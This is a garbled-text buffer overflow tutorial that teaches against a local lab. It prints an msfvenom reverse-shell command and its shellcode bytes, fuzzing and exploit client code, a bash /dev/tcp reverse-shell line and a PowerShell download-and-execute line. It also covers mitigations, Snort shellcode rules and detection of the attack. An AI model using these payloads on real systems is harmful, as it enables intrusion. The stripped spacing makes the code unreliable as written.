x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
